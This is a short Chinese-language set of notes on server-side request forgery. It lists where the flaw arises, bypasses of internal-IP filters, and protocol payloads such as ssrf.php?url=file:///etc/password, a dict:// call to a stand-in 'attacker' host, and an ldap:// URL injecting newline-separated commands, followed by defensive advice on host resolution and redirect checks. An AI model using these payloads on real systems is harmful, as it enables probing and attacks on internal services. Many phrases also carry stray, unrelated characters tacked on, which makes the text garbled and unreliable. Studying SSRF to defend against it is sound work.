漏洞原理
利用一個(gè)可以發(fā)起網(wǎng)絡(luò)請(qǐng)求的服務(wù)當(dāng)作跳板來攻擊內(nèi)部其他服務(wù)快毛。
ssrf用處
探測(cè)內(nèi)網(wǎng)信息,用協(xié)議探ftp%26ip={ip}%26port={port}
攻擊內(nèi)網(wǎng)或本地其他服務(wù)
穿透防火墻
漏洞處
能夠?qū)ν獍l(fā)起網(wǎng)絡(luò)請(qǐng)求的地方
請(qǐng)求遠(yuǎn)程服務(wù)器資源的地方
數(shù)據(jù)庫內(nèi)置功能
郵件系統(tǒng)
文件處理
在線處理工具
舉幾個(gè)例子:
在線識(shí)圖,在線文檔翻譯署照,分享,訂閱等吗浩,這些有的都會(huì)發(fā)起網(wǎng)絡(luò)請(qǐng)求建芙。
根據(jù)遠(yuǎn)程URL上傳,靜態(tài)資源圖片等懂扼,這些會(huì)請(qǐng)求遠(yuǎn)程服務(wù)器的資源禁荸。
數(shù)據(jù)庫的比如mongodb的copyDatabase函數(shù),這點(diǎn)看豬豬俠講的吧阀湿,沒實(shí)踐過赶熟。
郵件系統(tǒng)就是接收郵件服務(wù)器地址這些地方。
文件就找ImageMagick陷嘴,xml這些映砖。
從URL關(guān)鍵字中尋找,比如:source,share,link,src,imageurl,target等灾挨。
繞過姿勢(shì)
http://example.com@127.0.0.1
利用IP地址的省略寫法繞過,[::]繞過localhost
DNS解析 http://127.0.0.1.xip.io/? 可以指向任意ip的域名:xip.io
利用八進(jìn)制IP地址繞過,利用十六進(jìn)制IP地址,繞過利用十進(jìn)制的IP地址繞過
利用協(xié)議
https://www.secpulse.com/archives/70471.html
接受ua為curl的時(shí)候邑退,支持的協(xié)議有
使用curl -v http://xx.com/ssrf.php?url=sxxx
file://
ssrf.php?url=file:///etc/password
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
漏洞修復(fù)
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
檢查是否為內(nèi)網(wǎng)IP地址繞過方法:? 利用八進(jìn)制IP地址繞過? 利用十六進(jìn)制IP地址繞過? 利用十進(jìn)制的IP地址繞過? 利用IP地址的省略寫法繞過最好的做法:IP地址轉(zhuǎn)換為整數(shù)再進(jìn)行判斷
獲取真正請(qǐng)求的host
如何正確的獲取用戶輸入的URL的Host?最常見的就是劳澄,使用http://233.233.233.233@10.0.0.1:8080/地技、http://10.0.0.1#233.233.233.233這樣的URL,讓后端認(rèn)為其Host是233.233.233.233秒拔,實(shí)際上請(qǐng)求的卻是10.0.0.1莫矗。這種方法利用的是程序員對(duì)URL解析的錯(cuò)誤,有很多程序員甚至?xí)谜齽t去解析URL砂缩。使用urllib.parse可以解析真正的hostname
只要Host只要不是內(nèi)網(wǎng)IP即可嗎作谚?host可能為ip,可能為域名,利用xip.io繞過庵芭。方法:判斷是否為http協(xié)議食磕,獲取url的host,再解析該host喳挑,將解析到的ip再進(jìn)行檢查
只要Host指向的IP不是內(nèi)網(wǎng)IP即可嗎彬伦?不一定滔悉,可能會(huì)30x跳轉(zhuǎn)
歸納解析目標(biāo)URL,獲取其Host解析Host单绑,獲取Host指向的IP地址檢查IP地址是否為內(nèi)網(wǎng)IP請(qǐng)求URL如果有跳轉(zhuǎn)回官,拿出跳轉(zhuǎn)URL,執(zhí)行1